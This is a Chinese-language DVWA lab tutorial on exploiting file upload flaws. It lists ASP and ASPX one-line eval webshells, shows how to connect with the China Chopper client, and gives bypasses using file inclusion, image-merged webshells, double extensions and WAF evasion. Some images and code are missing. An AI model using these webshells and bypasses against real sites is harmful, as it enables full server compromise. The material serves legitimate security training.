搜索
您的当前位置:首页正文

File Upload(文件上传)

来源:爱够旅游网


Vulnerability: File Upload(文件上传)

需要的环境:phpstuty2018、BSP(bobo)、菜刀、火狐浏览器、DVWA

【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

入侵条件

其中,只要攻击者满足三个条件,就能实现成功入侵:

(1)木马上传成功,未被杀;

(2)知道木马的路径在哪;

(3)上传的木马能正常运行。

常见的一句话木马:

php的一句话木马:

asp的一句话是: <%eval request (\"pass\")%>

aspx的一句话是:

<%@ Page Language=\"Jscript\"%>

<%eval(Request.Item[\"pass\"],\"unsafe\");%>!

看到的第一眼就是密码是cmd(后面运用菜刀的时候会用到)

木马利用

以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。

首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

接下来进入DVWA平台:http://192.168.0.107/DVWA/index.php ,准备开始实验。(LOW等级)

我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:

成功将桌面上的文件(1.php)上传到网站资源目录下方

可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:

1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;

2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为\"pass\");

3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样

然后可以看连接成功的界面:

-----------------------------------------------------------------------------------------------------------------

我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……

High等级

通过代码可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

漏洞利用

采用%00截断的方法可以轻松绕过文件名的检查,但是需要将上传文件的文件头伪装成图片,由于实验环境的php版本原因,这里只演示如何借助High级别的文件包含漏洞来完成攻击。

首先利用copy将一句话木马文件1.php与图片文件2.jpg合并

然后就可以进行上传,发现成功

连接菜刀一切正常

Medium等级

注意:中国菜刀的原理是向上传文件发送包含apple参数的post请求,通过控制apple参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

那么如何让服务器将其解析为php文件呢?我们想到文件包含漏洞(详见文件包含漏洞教程)。这里可以借助Medium级别的文件包含漏洞来获取webshell权限,打开中国菜刀,右键添加,在地址栏中输入

http://134.64.134.60/DVWA/vulnerabilities/fi/?page=http://134.64.134.60/DVWA/hackable/uploads/1.png

根据上面的代码发现要求文件类型必须是jpeg或者png,所以把1.php改成1.png

然后上传1.png,发现上传成功

然后利用文件包含漏洞,以借助Medium级别的文件包含漏洞来获取webshell权限,步骤如下:

这是Medium等级的文件包含漏洞,复制下来,page=后面的不要

然后文件上传漏洞,复制到page后面

接下来把图中红框的部分复制下来,接到上一步后面即可

http://134.64.134.60/DVWA/vulnerabilities/fi/?page=http://134.64.134.60/DVWA/hackable/uploads/1.png 把链接添加到菜刀,完成

对了,记得菜刀添加的时候下方脚本类型是php

还有 ,确定自己上传成没成功,可以到

C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\hackable\ds这里面查看,取决于安装的位置

文件上传的前提:

1.能够成功上传木马文件

2.上传文件必须能够被执行

3.上传文件的路径必须可知

文件包含

当我们的一句话木马上传成功,菜刀可以连接,但发现大马上传不了,被防火墙或者安全狗拦截时,可以考虑使用包含文件,思路如下;

先上传一个含有包含代码(如)却没有攻击代码的文件,不会被狗拦

再将大马改成jpg图片文件上传,也不会被狗拦

访问第一次上传的包含函数的文件,会发现执行了木马

这里是因为包含函数包含的文件会被当成脚本文件,直接将文件内容插入到这个文件中。

构造PHP图片木马,绕过文件内容检测上传webshell一般文件内容验证使用getimagesize()函数检测,会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则不允许上传

一、上传PHP木马1.在火狐浏览器中输入目标文件上传地址,将木马文件1.php后缀名.php改为.php.jpg上传。

二、2.会提示错误信息:此文件不允许上传,服务器对上传文件内容进行了检测。制作图片木马

三、1.随便找一个图片,与所有上传的木马文件放置同一文件夹中。2.打开cmd,进入木马文件夹3.将lubr.php插入到pic.jpg中,输出PicLubr。jpg:copy pic.jpg/b+lubr.php/a PicLubr.jpg

四、上传木马

1. 将上传文件名PicLubr.jpg给我PicLubr.jpg.php2.在浏览器中输入木马的完整地址:http://目标地址/路径/uploads/PicLubr.jpg.php,访问木马文件。 链接木马1.打开中国菜刀,右键点击添加木马的地址和木马lubr,选择脚本类型,点击添加。

双击添加的记录,即可查看目标网站的完整目录。

文件内容检测绕过另一种方式:文件头绕过

因篇幅问题不能全部显示,请点此查看更多更全内容

Top